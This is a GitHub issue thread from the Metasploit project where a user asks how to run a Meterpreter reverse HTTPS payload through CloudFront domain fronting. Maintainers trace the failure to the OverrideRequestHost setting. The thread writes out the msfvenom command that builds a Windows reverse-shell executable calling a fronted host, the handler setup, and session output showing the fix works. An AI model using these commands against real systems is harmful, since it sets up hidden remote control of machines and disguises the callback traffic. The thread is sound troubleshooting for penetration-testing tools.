SSLCert problem to do Domain Fronting with reverse https

[Ph4k3r]

Purpose

I'm testing domain frointing using Cobalt Strike, and it's reverse https beacon. And I've applied a valid SSL cert using letsencrypt service.

I'm able to use HTTPS Doamin Fronting on Cobalt Strike.

But Cobalt strike only support windows platform's beacon, so I'd like to test msf.

After searching sometime, I found Meterpreter with SSL, meterpreter with domain fronting, but no clue about meterpreter with SSL domain fronting.

Questions are:

1. Should I use auxiliary/gather/impersonate_ssl to generate a SSL cert OR should I use the one Letsencrypt generated?
2. If use letsencrypt generated, should I change or alter the format?
3. If use auxiliary to generate, will it work if using CloudFront? As far as I know, ClondFront seems to check the cert.

Things I got:

1. A SSL Cert generated by letsencrypt, bindig to a domain, let's say xxx.sec.com;
2. A EC2 instance, with Kali installed;
3. CloudFront with xxx.cloudfront.net;

Any clue or link suggested? Thank you!

[sempervictus]

This is being worked on AFAIK. Enlisting folks who know better: Ping @OJ, @busterb

[Ph4k3r]

@OJ @busterb Any suggestions?

lets say my cert is for sec.foo.com

in handler, should I set LHOST to sec.foo.com? if so, must I set A record of sec.foo.com to msfconsole machine?

[OJ]

Hey @Ph4k3r please refer to the following post: https://beyondbinary.io/articles/domain-fronting-with-metasploit-and-meterpreter/

It should show you how to get it all up and running.

[Ph4k3r]

Hi @OJ, thank you for your reference link. I followed the instructions, and I did get a session, but using burpsuite in inspect the traffic, it seems the data is posted to my real domain with the specified cloudfront header, but not the assigned LHOST, which is "a0.awsstatic.com".

I followed each step except the cert-bot, because I've already installed that.

Any idea?

[OJ]

If you generated your payload with LHOST set to Amazon, and did the same in your handler, then Meterpreter can't know about your direct domain.

What output do you get from your Meterpreter session if you run the "transport list" command? Does it have the Amazon domain in the URL?

On Wed., 18 Apr. 2018, 02:01 Ph4k3r, notifications@github.com wrote:

Hi @OJ https://github.com/OJ, thank you for your reference link. I followed the instructions, and I did get a session, but using burpsuite in inspect the traffic, it seems the data is posted to my real domain with the specified cloudfront header, but not the assigned LHOST, which is " a0.awsstatic.com".

I followed each step except the cert-bot, because I've already installed that.

Any idea?

— You are receiving this because you were mentioned. Reply to this email directly, view it on GitHub https://github.com/rapid7/metasploit-framework/issues/9681#issuecomment-382047446, or mute the thread https://github.com/notifications/unsubscribe-auth/AABw4Fj_qig5zmt9oI0G33S4I6VQO9lRks5tphHPgaJpZM4SgIB3 .

[Ph4k3r]

Hi @OJ , here's what I did: Payload generation:

msfvenom -p windows/meterpreter/reverse_https LHOST=a0.awsstatic.com \
LPORT=443 HttpHostHeader=xxxxx.cloudfront.net \
-f exe -o /tmp/payload.exe

Handler setup:

use exploit/multi/handler
set payload multi/meterpreter/reverse_https
set lhost a0.awsstatic.com
set lport 443
set httphostheader xxxxx.cloudfront.net
set HandlerSSLCert /home/ec2-user/MSF.pem
set exitonsession false
exploit -j

Did get a session, but here's the transport list:

Session Expiry  : @ 2018-04-25 02:12:57

    ID  Curr  URL                                                            Comms T/O  Retry Total  Retry Wait
    --  ----  ---                                                            ---------  -----------  ----------
    1   *     https://i.xxxxg.xx:443/mHS1ZokX832QkpGTykQ5NQe6J3HENH4qP/  300        3600         10

This domain if the direct domain, not a0.awsstatic.com nor the cloudfront domain. Don't know which part gone wrong. Regards

[Ph4k3r]

@OJ And, after issued the exit command in session, the target vm win 7 x64 machine giving me a apachebench command line utility stopped working errot.

Is is because of the handler set to multi/meterpreter/reverse_https?

[OJ]

Can you please check the advanced properties of the listener and check the value of the OverrideRequestHost property please?

[OJ]

I've reproduced this issue locally. Give me a bit of time and I'll respond with a solution.

[OJ]

Hi @Ph4k3r, the problem here is that we have forgotten to use the OverrideRequestHost setting. This value needs to be set to true, otherwise Metasploit generates a payload configuration on the fly that contains an LHOST setting that points to the value in the original Host header. If you set OverrideRequestHost to true, then by default the configuration will be generated with the correct value in LHOST (ie. the one that is specified in LHOST). So can you please reconfigure your listener so that you've done:

set OverrideRequestHost true

This should sort the problem out for you.

To make things more confusing, this doesn't happen with stageless payloads.

On this note @busterb when this default behaviour kicked in (where MSF uses the incoming Host header value instead of the LHOST) it really felt strange to me, and it's feeling more strange now. In my view, when you establish a session the use of LHOST should not change at all unless the use has configured it to change. In the scenario we're talking about here, the standard behaviour says "change LHOST even though we haven't asked it to".

So if the OverrideRequestHost setting should remain, then in my opinion it should default to true as this feels way more intuitive.

Thoughts on this? @wvu-r7 ? @jmartin-r7 ? @sempervictus ? @busterb ?

[OJ]

Thanks for your patience @Ph4k3r, I've updated our reference post to highlight this detail. Hopefully we'll change the default behaviour so that we don't have to do this in future.

[Ph4k3r]

Hi @OJ Brilliant! it's working!

meterpreter > transport list
Session Expiry  : @ 2018-04-27 13:45:01

    ID  Curr  URL                                                             Comms T/O  Retry Total  Retry Wait
    --  ----  ---                                                             ---------  -----------  ----------
    1   *     https://a0.awsstatic.com:443/mHS1ZokX832QkpGTykt-TgG4wA07YR_U/  300        3600         10

love msf!

[jmartin-tech]

@OJ, I still need to test this behavior but based on the description here, in a staged payload, it sounds like we are pushing out a stage that has a different transport embedded in it than the original payload. I like the idea that this should only happen when instructed by the user.

For http transports, to me this suggests that the incoming request should be inspected by default and the stage be mutated to match the "request" URI in the transport by default. The override, for http, would occur only be needed if the user is trying to create a handler they intend to have deliver a stage that then directs to another handler. Does my read make sense?

[Ph4k3r]

Hi @jmartin-r7 , I'm not completely understand your description, but I suggest you read some paper about Domain Fronting first, such as this blog.

I think it should resolve most part of your problems.

Happy pen testing.

[jmartin-tech]

@Ph4k3r, thanks for the input. My description was specific to how metasploit framework handles the delivered stage of the payload causing your issue. While your use case is in domain fronting, what made this happen in metasploit is what I am attempting to discuss.

My question was about if other contributors here agree with the approach I recommended to implement as a resolution. I dug further into reviewing the workflow and have slightly modified my opinion below based on a clearer understanding of the issue.

Having looked closer at the scenario and code, the http handler actually does what I was suggesting http handlers should do. @OJ, I believe the behavior here is already correct and the user should be required to request divergence from the value in the request header. One idea would be to add another alias or alternate description for the advance functionality that makes clear the implication that domain fronting is in place.

Changing the default behavior to override when the LHOST provided does not match the incoming request by default would likely lead to more issues when LHOST is behind a firewall (likely the reason it functions as it does today).

[OJ]

I admit to seeing both sides, but I also admit that I almost never want MSF to change LHOST magically for me when generating configuration. I'll just have to stick to setting OverrideRequestHost to true then :)

[github-actions[bot]]

Hi!

This issue has been left open with no activity for a while now.

We get a lot of issues, so we currently close issues after 60 days of inactivity. It’s been at least 30 days since the last update here. If we missed this issue or if you want to keep it open, please reply here. You can also add the label "not stale" to keep this issue open!

As a friendly reminder: the best way to see this issue, or any other, fixed is to open a Pull Request.

[github-actions[bot]]

Thanks for your contribution to Metasploit Framework! We've looked at this issue, and unfortunately we do not currently have the bandwidth to prioritize this issue.

We've labeled this as attic and closed it for now. If you believe this issue has been closed in error, or that it should be prioritized, please comment with additional information.